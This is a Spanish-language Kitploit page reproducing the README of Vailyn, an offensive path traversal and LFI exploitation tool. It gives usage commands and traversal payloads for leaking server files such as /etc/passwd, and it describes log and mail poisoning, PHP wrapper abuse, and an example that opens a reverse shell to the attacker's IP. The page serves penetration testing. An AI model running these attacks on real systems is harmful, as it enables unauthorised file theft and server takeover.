Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Vailyn — Una herramienta de escaneo y explotación de Path Traversal + LFI, evasiva y por fases, en Python. | Kitploit
Herramientas/GitHubGitHub/vainlystrain/vailyn
Escáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubvainlystrain/vailyn

Vailyn

Una herramienta de escaneo y explotación de Path Traversal + LFI, evasiva y por fases, en Python.

Ver Repositorio
20024hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir


Vailyn


Ataques de Path Traversal y LFI por Fases

Vailyn 3.0

Desde la v3.0, Vailyn soporta wrappers PHP de LFI en la Fase 1. Use --lfi para incluirlos en el escaneo.

Acerca de

Vailyn es una herramienta de análisis y explotación de vulnerabilidades en múltiples fases para vulnerabilidades de path traversal e inclusión de archivos. Está diseñada para ser lo más eficiente posible y ofrecer un amplio arsenal de técnicas de evasión de filtros.

¿Cómo funciona?

Vailyn opera en 2 fases. Primero, comprueba si la vulnerabilidad está presente. Lo hace intentando acceder a /etc/passwd (o un archivo especificado por el usuario), con todos sus payloads evasivos. Analizando la respuesta, los payloads que funcionaron se separan de los demás.

Ahora, el usuario puede elegir libremente qué payloads usar. Solo estos payloads se usarán en la segunda fase.

La segunda fase es la fase de explotación. Ahora intenta filtrar todos los archivos posibles del servidor usando un diccionario de archivos y uno de directorios. La profundidad de búsqueda y el nivel de permutación de directorios se pueden adaptar mediante argumentos. Opcionalmente, puede descargar los archivos encontrados y guardarlos en su carpeta de botín. Alternativamente, intentará obtener una reverse shell en el sistema, permitiendo al atacante obtener control total sobre el servidor.

Actualmente, soporta múltiples vectores de ataque: inyección vía query, path, cookie y datos POST.

¿Por qué la separación en fases?

La separación en varias fases se realiza para mejorar enormemente el rendimiento de la herramienta. En versiones anteriores, cada combinación archivo-directorio se verificaba con cada payload. Esto resultaba en una gran sobrecarga debido a que los payloads siempre se usaban de nuevo, a pesar de no funcionar para la página actual.

Instalación

Las versiones de Python recomendadas y probadas son 3.7+, pero debería funcionar bien con Python 3.5 y Python 3.6 también. Para instalar Vailyn, descargue el archivo desde la pestaña de versiones, o ejecute

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

Una vez en su sistema, necesitará instalar las dependencias de Python.

Sistemas Unix

En sistemas Unix, es suficiente ejecutar

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Algunas bibliotecas que Vailyn usa no funcionan bien con Windows, o fallarán al instalarse.

Si usa Windows, use pip para instalar los requisitos listados en Vailyn\·›\requirements-windows.txt.

Si twisted falla al instalarse, hay una versión no oficial disponible aquí, que debería compilarse en Windows. Solo tenga en cuenta que esta es una descarga de terceros, y la integridad no está necesariamente garantizada. Después de que esto se instale correctamente, ejecutar pip nuevamente en requirements-windows.txt debería funcionar.

Pasos finales

Si desea usar completamente el módulo de reverse shell, necesitará tener sshpass, ncat y konsole instalados. Los nombres de los paquetes varían según la distribución de Linux. En Windows, necesitará iniciar el listener manualmente de antemano. Si no le gusta konsole, puede especificar un emulador de terminal diferente en core/config.py.

¡Eso es todo! Inicie Vailyn moviéndose a su directorio de instalación y ejecutando

root@kitploit:~
$ python Vailyn -h

Uso

Vailyn tiene 3 argumentos obligatorios: -v VIC, -a INT y -p2 TP P1 P2. Sin embargo, dependiendo de -a, pueden requerirse más argumentos.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

obligatorio:
  -v VIC, --victim VIC  Objetivo a atacar, parte 1 [previo al payload]
  -a INT, --attack INT  Tipo de ataque (int, 1-5, o A)

    A|  Araña (todo)         2|  Ruta               5|  Datos POST, json
    P|  Araña (parcial)      3|  Cookie
    1|  Parámetro de Query   4|  Datos POST, plano

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Ataque en Fase 2, y parámetros necesarios

┌[ Values ]─────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ fuga    │ Diccionario  │ Diccionario        │
│         │ de archivos  │ de directorios     │
├─────────┼─────────────┼────────────────────┤
│ inyectar│ Dirección IP│ Puerto de escucha  │
├─────────┼─────────────┼────────────────────┤
│ implantar│ Archivo    │ Destino en el      │
│         │ fuente      │ servidor           │
└─────────┴─────────────┴────────────────────┘

adicional:
  -p PAM, --param PAM   parámetro de query o datos POST para --attack 1, 4, 5
  -i F, --check F       Archivo a verificar en Fase 1 (df: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Objetivo de ataque, parte 2 [post-payload]
  -c C, --cookie C      Cookie a agregar (en formato de cabecera)
  -l, --loot            Descargar los archivos encontrados en la carpeta de botín
  -d I J K, --depths I J K
                        profundidades (I: fase 1, J: fase 2, K: nivel de permutación)
  -h, --help            muestra este menú de ayuda y sale
  -s T, --timeout T     Tiempo de espera de solicitud; switch estable para Arjun
  -t, --tor             Canalizar ataques a través de la red de anonimato Tor
  -L, --lfi             Usar adicionalmente wrappers PHP para filtrar archivos
  -n, --nosploit        saltar Fase 2 (no necesita -p2 TP P1 P2)
  -P, --precise         Usar profundidad exacta en Fase 1 (no un rango)
  -A, --app             Iniciar la interfaz Qt5 de Vailyn

desarrollo:
  --debug               Muestra cada ruta intentada, incluso 404s.
  --version             Imprime la versión del programa y sale.
  --notmain             Evita el fallo de notify2 en llamadas a subprocesos.

Información:
  para filtrar archivos usando rutas absolutas: -d 0 0 0
  para obtener una shell usando rutas absolutas: -d 0 X 0

Vailyn soporta actualmente 5 vectores de ataque, y proporciona un rastreador para automatizarlos todos. El ataque realizado se identifica mediante el argumento -a INT.

root@kitploit:~
INT        ataque
----       -------
1          ataque basado en query  (https://site.com?file=../../../)
2          ataque basado en ruta   (https://site.com/../../../)
3          ataque basado en cookie (obtendrá las cookies por usted)
4          datos POST planos      (ELEM1=VAL1&ELEM2=../../../)
5          datos POST json        ({"file": "../../../"})
A          araña                  obtener y analizar todas las URLs del sitio usando todos los vectores
P          araña parcial          obtener y analizar todas las URLs del sitio usando solo vectores seleccionados

También debe especificar un objetivo a atacar. Esto se hace mediante -v VIC y -Pi VIC2, donde -v es la parte anterior al punto de inyección, y -Pi el resto.

Ejemplo: si la URL final debe verse como: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, puede especificar -v https://site.com/download.php y -Pi &param2=necessaryvalue (y -p file, ya que esto es un ataque de query).

Si desea incluir wrappers PHP en el escaneo (como php://filter), use el argumento --lfi. Al final de la Fase 1, se le presentará un menú de selección adicional con los wrappers que funcionaron. (si los hay)

Si el sitio atacado está detrás de una página de inicio de sesión, puede proporcionar una cookie de autenticación mediante -c COOKIE. Si desea atacar a través de Tor, use --tor.

Fase 1

Esta es la fase de análisis, donde los payloads que funcionan se separan de los demás.

Por defecto, se busca /etc/passwd. Si el servidor no está ejecutando Linux, puede especificar un archivo personalizado con -i FILENAME. Tenga en cuenta que debe incluir subdirectorios en FILENAME.

Puede modificar la profundidad de búsqueda con el primer valor de -d (por defecto=8). Si desea usar rutas absolutas, establezca la primera profundidad a 0.

Fase 2

Esta es la fase de explotación, donde Vailyn intentará filtrar tantos archivos como sea posible, u obtener una reverse shell usando varias técnicas.

La profundidad de búsqueda en la fase 2 (el número máximo de capas retrocedidas) se especifica mediante el segundo valor del argumento -d. El nivel de permutación de subdirectorios se establece con el tercer valor de -d.

Si ataca con rutas absolutas y realiza el ataque de fuga, establezca todas las profundidades a 0. Si desea obtener una reverse shell, asegúrese de que la segunda profundidad sea mayor que 0.

Al especificar -l, Vailyn no solo mostrará archivos en la terminal, sino que también descargará y guardará los archivos en la carpeta de botín.

Si desea una salida detallada (mostrar todas las salidas, no solo los archivos encontrados), puede usar --debug. Tenga en cuenta que la salida se vuelve muy desordenada, esto es básicamente solo una ayuda de depuración.

Para realizar el ataque de fuerza bruta, necesita especificar -p2 leak FIL PATH, donde

  • FIL es un archivo de diccionario que contiene solo nombres de archivos (p.ej. index.php)
  • PATH, es un archivo de diccionario que contiene solo nombres de directorios. Vailyn manejará la permutación de directorios por usted, por lo que solo necesitará un directorio por línea.

Para obtener una reverse shell mediante inyección de código, puede usar -p2 inject IP PORT, donde

  • IP es su IP de escucha
  • PORT es el puerto en el que desea escuchar.

ADVERTENCIA

Vailyn emplea técnicas de envenenamiento de logs. Por lo tanto, SU IP ESPECIFICADA SERÁ VISIBLE EN LOS LOGS DEL SERVIDOR.

Las técnicas (solo funcionan para inclusiones LFI):

  • inclusión de /proc/self/environ solo funciona en servidores desactualizados
  • Envenenamiento e inclusión de logs de Apache + Nginx
  • Envenenamiento de logs SSH
  • inclusión de correo envenenado
  • wrappers
    • expect://
    • data:// (plano & b64)
    • php://input

Prevención de falsos positivos

Para distinguir resultados reales de falsos positivos, Vailyn realiza las siguientes comprobaciones:

  • verificar el código de estado de la respuesta
  • verificar si la respuesta es idéntica a una tomada antes del inicio del ataque: esto es útil, por ejemplo, cuando el servidor devuelve 200, pero ignora la entrada del payload o devuelve una página predeterminada si el archivo no se encuentra.
  • similar a #2, realizar una verificación adicional para el manejo de parámetros GET de query (útil cuando el servidor devuelve un error de que falta un parámetro necesario)
  • verificar respuestas vacías
  • verificar si hay firmas de error comunes en el contenido de la respuesta
  • verificar si el payload está contenido en la respuesta: esta es una verificación adicional para el caso en que el servidor responde 200 para archivos inexistentes, y refleja el payload en un mensaje (como ../../secret no encontrado)
  • verificar si toda la respuesta está contenida en la respuesta de la verificación inicial: útil cuando el servidor tiene una inclusión predeterminada que desaparece en caso de 404
  • para -a 2, realizar una verificación adicional si el contenido de la respuesta coincide con el contenido de la URL raíz del servidor
  • verificación REGEX para /etc/passwd si se usa ese archivo de búsqueda

Ejemplos

  • Ataque simple de Query, filtrando archivos en Fase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Ataque de Query, pero sé que un archivo file.php existe exactamente 2 niveles por encima del punto de inclusión: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Esto acortará mucho la duración de la Fase 1, ya que es un ataque dirigido.

  • Ataque simple de Ruta: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Ataque de Ruta, pero necesito parámetros de query y etiqueta: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Ataque simple de Cookie: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Obtendrá cookies y podrá seleccionar la cookie que desea envenenar

Demostración

asciicast El Rastreador de Vailyn analizando una aplicación web damn vulnerable. Los Wrappers LFI no están habilitados.

Demostración de GUI (v2.2.1-5)

Posibles problemas

¿Encontró algunos falsos positivos/negativos (o desea señalar otros errores/mejoras)? ¡Por favor, deje un issue!

Código de conducta

Vailyn se proporciona como una herramienta de auditoría ofensiva de aplicaciones web. Tiene funcionalidades integradas que pueden revelar vulnerabilidades potenciales en aplicaciones web, que podrían ser explotadas maliciosamente.

POR LO TANTO, NI EL AUTOR NI LOS COLABORADORES SON RESPONSABLES POR EL MAL USO O DAÑO DEBIDO A ESTE KIT DE HERRAMIENTAS.

Al usar este software, el usuario se obliga a seguir sus leyes locales, a no atacar el sistema de otra persona sin permiso explícito del propietario, o con intención maliciosa.

En caso de infracción, solo el usuario final que la cometió es responsable de sus acciones.

Créditos y Derechos de autor

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun ya no se distribuye con Vailyn. Instale su última versión mediante pip.

Descargar herramienta
  • Ataque POST Plano: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" infectará DATA2 con el payload

  • Ataque POST JSON: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Ataque, pero el objetivo está detrás de una pantalla de inicio de sesión: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Ataque, pero quiero una reverse shell en el puerto 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # se necesita una profundidad alta en Fase 2 para la inyección de logs (iniciará un listener ncat por usted si está en Unix)

  • Automatización completa en modo rastreador: $ Vailyn -v "http://root-url.site" -a A también puede especificar otros argumentos, como cookie, profundidades, lfi y archivo de búsqueda aquí

  • Automatización completa, pero Arjun necesita --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY